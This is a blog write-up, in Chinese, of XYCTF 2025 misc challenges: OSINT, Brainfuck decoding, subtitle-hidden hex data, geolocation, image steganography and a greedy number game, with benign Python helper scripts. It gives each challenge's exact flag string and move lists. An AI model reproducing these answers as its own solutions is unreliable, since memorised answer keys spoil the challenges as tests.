7.损友的话有可能会提到对方的,于是在这里搜索 dragonkeep,确实提到了

image-20250406214143202

8.好好好直接给了对方的博客地址

image-20250406214224910

9.访问该地址,找到历史文章 CISCN 的 WEB,翻下源码搜 flag 就看见了,再 base64 解密即可

image-20250406214519061

flag 值:flag{1t_I3_t3E_s@Me_ChAl1eNge_aT_a1L_P1e@se_fOrg1ve_Me}

misc-签个到吧

1.看一眼附件,挺眼熟的,根据题目内容搜一下,Brainfuck 啊

image-20250406215452620

image-20250406215430650

2.直接尝试用网站一键解密!

image-20250406215621978

3.结果一片空白,短一点也是空白。好吧,只能老老实实学一下这个语言规则,稍微了解一下就好

image-20250406215952102

4.这时候大概能发现这个-+-+-+纯没用,可删,但这应该影响不了最后的结果才对。再用调试工具试一下看是哪出了问题 https://ashupk.github.io/Brainfuck/brainfuck-visualizer-master/index.html

image-20250406220311579

5.发现 [] 的乘法做完之后本来都已经到右边的指针又返回来把往左一个的这个数清零。也就是 < [-] 这部分的问题,全局选一下删掉,再运行就能发现每个位置的数都保存好了,按照 ascii 码也大概知道对了。

image-20250406220726360

6.但是这个运行太慢,就写脚本了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
def brainfuck_interpreter(code):
tape = [0] * 30000
ptr = 0
pc = 0

bracket_map = {}
stack = []
for pos, cmd in enumerate(code):
if cmd == '[':
stack.append(pos)
elif cmd == ']':
if stack:
start = stack.pop()
bracket_map[start] = pos
bracket_map[pos] = start

while pc < len(code):
cmd = code[pc]

if cmd == '>':
ptr += 1
elif cmd == '<':
ptr -= 1
elif cmd == '+':
tape[ptr] = (tape[ptr] + 1) % 256
elif cmd == '-':
tape[ptr] = (tape[ptr] - 1) % 256
elif cmd == '[' and tape[ptr] == 0:
pc = bracket_map[pc]
elif cmd == ']' and tape[ptr] != 0:
pc = bracket_map[pc]

pc += 1

message = []
for cell in tape:
if cell == 0:
break
message.append(chr(cell))

return ''.join(message)

code = """
>+++++++++++++++++[<++++++>-]>++++++++++++[<+++++++++>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>+++++++++++++++++++++++++++++++++++++++++[<+++>-]>+++++++++++++++++++++++++++++[<+++>-]>+++++++++++++++++[<+++>-]>++++++++++++[<+++++++++>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>++++++++[<++++++>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>+++++++++++++++++++[<+++++>-]>+++++++++++++++++++++++++++++[<++++>-]>++++++++[<++++++>-]>+++++++++++++++++++[<+++++>-]>+++++++++++[<++++++++>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>++++++++++++[<+++++++>-]>++++++++++[<+++++++>-]>+++++++++++++++++++[<+++++>-]>++++++++++[<+++++>-]>++++++++[<++++++>-]>++++++++++[<+++++>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<+>-]>+++++++++++++++++++[<+++++>-]>+++++++++++++++++++++++[<+++>-]>+++++++++++[<++++++++++>-]>+++++++++++++++++++++++++++++++++++++++++++++++++++++[<++>-]>++++++++[<++++++>-]>+++++++++++[<+++++>-]>+++++++++++++++++++[<+++++>-]>+++++++[<+++++++>-]>+++++++++++++++++++++++++++++[<++++>-]>+++++++++++[<+++>-]>+++++++++++++++++++++++++[<+++++>-]
"""

clean_code = ''.join(c for c in code if c in ['>', '<', '+', '-', '[', ']'])

# Run the interpreter and get the message
message = brainfuck_interpreter(clean_code)
print("Decoded Message:", message)

7.得到

image-20250406220901136

flag 值:flag{W3lC0me_t0_XYCTF_2025_Enj07_1t!}

misc-MADer也要当CTFer

是个mkv文件,打开只有十几秒的视频,但是下面时长5小时,肯定有问题

然后看到后缀是mkv,搜一下这个mkv能封装视频、音频、字幕文件,下个小工具箱导出文件

有个字幕.ass文件

后面的text字段是标准的16进制,写个脚本提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import re

with open("只是刚好情窦初开遇到你.ass", "r", encoding="utf-8") as f:
lines = f.readlines()

dialogue_lines = [line for line in lines if line.startswith("Dialogue:")]

texts = []
for line in dialogue_lines:
parts = line.strip().split(",", 9) # ASS 字幕 text 是第10个字段(索引9)
if len(parts) >= 10:
texts.append(parts[9])

# 保存为 txt
with open("subtitle_texts.txt", "w", encoding="utf-8") as out:
for text in texts:
out.write(text + "\n")

print(f"提取完成,共 {len(texts)} 行字幕文本。")

提取出来直接导入16进制文件

文件头是rifx,搜了一下是个ae的文件,是.aep,但是我的ae打不开。。。。就直接在线预览,搜了一下flag

只有这俩,但是说明flag肯定在,找找又发现

发现他们都在这个左边,我就直接慢慢看左边,没看到,最后我用记事本按这个方法找到了,不知道为什么在线预览没有,在记事本里他们前面的字符都一样我就这样找到的

得到flagflag{l_re@IIy_w@nn@_2_Ie@rn_AE}

misc-会飞的雷克萨斯

看到这个题目就知道答案了,大名鼎鼎的四川小孩,嘻嘻,但是我刚开始以为是找左边三位小数md5加密(我没加群!!!!!!)。下次flag形式发题目描述里吧,求求你。

现在dy搜一下这件事,是四川省内江市资中县的事情

地图直接搜

得到flagflag{四川省内江市资中县春岚北路城市中心内}

misc-曼波曼波曼波

qr码是假的

有一个smn.txt,看起来就像是要base64转图片(赛马娘),但是=在前面说明应该是需要逆序,直接在线逆序!!!!

然后b64转图片

得到图片

然后就是正常的隐写,foremost/binwalk分离

里面是个zip,解压一张老隐写图和一段提示解压zip,密码XYCTF2025

俩看起来一样的图,直接blindwatermark分离!!!!!

得到flagXYCTF{easy_yin_xie_dfbfuj877}

misc-Greedymen

这个写个脚本直接出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from collections import defaultdict
import math

def get_factors(n):
factors = set()
for i in range(1, int(math.sqrt(n)) + 1):
if n % i == 0:
factors.add(i)
if i != 1 and i != n // i:
factors.add(n // i)
factors.discard(n)
return factors

def simulate_game(level_max, counter):
board = {i: 'unassigned' for i in range(1, level_max + 1)}
my_score = 0
opponent_score = 0
steps = []

while counter > 0:
best_choice = None
best_net_gain = float('-inf')

for num in range(1, level_max + 1):
if board[num] != 'unassigned':
continue

factors = get_factors(num)
if all(board[f] != 'unassigned' for f in factors):
continue # can't pick this number, all factors already chosen

gain = num
cost = sum(f for f in factors if board[f] == 'unassigned')
net_gain = gain - cost

if net_gain > best_net_gain:
best_net_gain = net_gain
best_choice = num

if best_choice is None:
break # no more valid moves

# Assign number to self
board[best_choice] = 'me'
my_score += best_choice

# Assign its unassigned factors to opponent
for f in get_factors(best_choice):
if board[f] == 'unassigned':
board[f] = 'opponent'
opponent_score += f

counter -= 1
steps.append(f"Choose {best_choice}: +{best_choice} (Opponent gets factors {get_factors(best_choice)})")

# Assign remaining numbers to opponent
for num, status in board.items():
if status == 'unassigned':
board[num] = 'opponent'
opponent_score += num

return {
'steps': steps,
'my_score': my_score,
'opponent_score': opponent_score,
'final_result': 'Win' if my_score > opponent_score else 'Lose',
'difference': my_score - opponent_score
}

# Simulate all 3 levels
level1 = simulate_game(50, 19)
level2 = simulate_game(100, 37)
level3 = simulate_game(200, 76)

# Saving the results into a text file
with open("game_simulation_results.txt", "w", encoding="utf-8") as file:
for i, level in enumerate([level1, level2, level3], 1):
file.write(f"Level {i}:\n")
file.write(f"Steps:\n")
for step in level['steps']:
file.write(f" {step}\n")
file.write(f"My Score: {level['my_score']}\n")
file.write(f"Opponent Score: {level['opponent_score']}\n")
file.write(f"Final Result: {level['final_result']}\n")
file.write(f"Score Difference: {level['difference']}\n\n")

输出:

整理得到

1
2
3
4
5
6
7
8
9
47, 49, 35, 39, 26, 46, 33, 45, 38, 44, 34, 50, 30, 28, 42, 40, 32, 24, 36

97, 91, 95, 85, 77, 93, 62, 87, 99, 81, 94, 69, 86, 63, 92, 82, 66, 76, 74, 54,
88, 75, 50, 100, 98, 70, 68, 56, 84, 60, 90, 52, 78, 80, 64, 48, 72

199, 187, 169, 185, 161, 155, 183, 122, 177, 145, 175, 133, 159, 171, 153, 194, 141, 188, 178, 129,
172, 166, 123, 164, 158, 117, 195, 130, 105, 189, 147, 135, 98, 196, 182, 165, 110, 154, 148, 146,
78, 156, 104, 114, 190, 152, 142, 102, 170, 136, 134, 126, 124, 186, 90, 180, 140, 116, 174, 120,
80, 160, 128, 112, 168, 108, 162, 100, 150, 96, 144, 92, 138, 88, 132, 198

直接输入,连赢三局,得到flag

flag:flag{Greed, is......key of the life.}

  • 标题: 2025xyctf wp
  • 作者: collectcrop
  • 创建于 : 2025-04-08 11:26:17
  • 更新于 : 2025-04-08 11:34:03
  • 链接: https://collectcrop.github.io/2025/04/08/2025xyctf-wp/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。